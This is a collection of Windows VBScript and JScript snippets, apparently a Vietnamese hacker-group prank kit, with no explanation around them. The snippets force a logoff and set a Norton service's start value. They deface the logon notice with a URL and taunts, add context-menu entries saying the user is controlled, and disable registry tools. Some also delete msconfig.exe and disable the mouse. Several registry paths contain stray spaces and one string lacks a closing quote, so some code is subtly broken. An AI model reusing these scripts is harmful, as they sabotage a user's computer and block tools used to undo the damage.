Dim wsh Set wsh = createobject("wscript.shell") wsh.run "RUNDLL32.EXE user.exe,exitwindows"

Dim wsh Set wsh= CreateObject( "WScript.Shell") s1 = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\S ervi c es\Norton Program Scheduler\Start" wsh.RegWrite s1,3, "REG_DWORD"

dim wsh Set wsh = CreateObject( "WScript.Shell" ) s1 = "HKLM\Software\Microsoft\Windows\CurrentVersio n\Wi n Logon\" s2 = "LegalNoticeCaption" s3 = "LegalNoticeText" wsh.RegWrite s1+s2, "http://allformy.topcities.com" wsh.RegWrite s1+s3, "Ta la anh_hung_bat_dac_di000-Toi den tu HVA"

set reg=createobject("WScript.shell") reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","Ban da bi toi khong che" reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Ban da bi toi khong che","I_LOVE_U"

Dim objShell Set objShell = CreateObject( "WScript.Shell" ) s1 = "HKEY_USERS\.Default\Software\Microsoft\Window s\Cu rrentVersion\ " s2 = "Policies\System\DisableRegistryTools" objShell.RegWrite s1+s2,1, "REG_DWORD"

var s1 = "HKLM\\Software\\Microsoft\\Windows\\CurrentVe rsio n \\WinLogon\\"; var s2 = "LegalNoticeCaption"; var s3 = "LegalNoticeText"; wsh.RegWrite (s1+ s2, "http://allformy.topcities.com") ; wsh.RegWrite (s1+s3, "Ban da bi toi khong che") ;

var s1 = "HKEY_USERS\\.Default\\Software\\Microsoft\\Wi ndow s\\CurrentVers ion\\"; var s2 = "Policies\\System\\DisableRegistryTools" ; wsh.RegWrite (s1+s2,0,"REG_DWORD");

var fso; fso=new ActiveXObject("Scripting.FileSystemObject"); var fe=fso.getfile("C:\\windows\\msconfig.exe); fe.delete true;

wsh.run ("RUNDLL32.EXE mouse,disable");

wsh.run ("rundll32 user,disableoemlayer");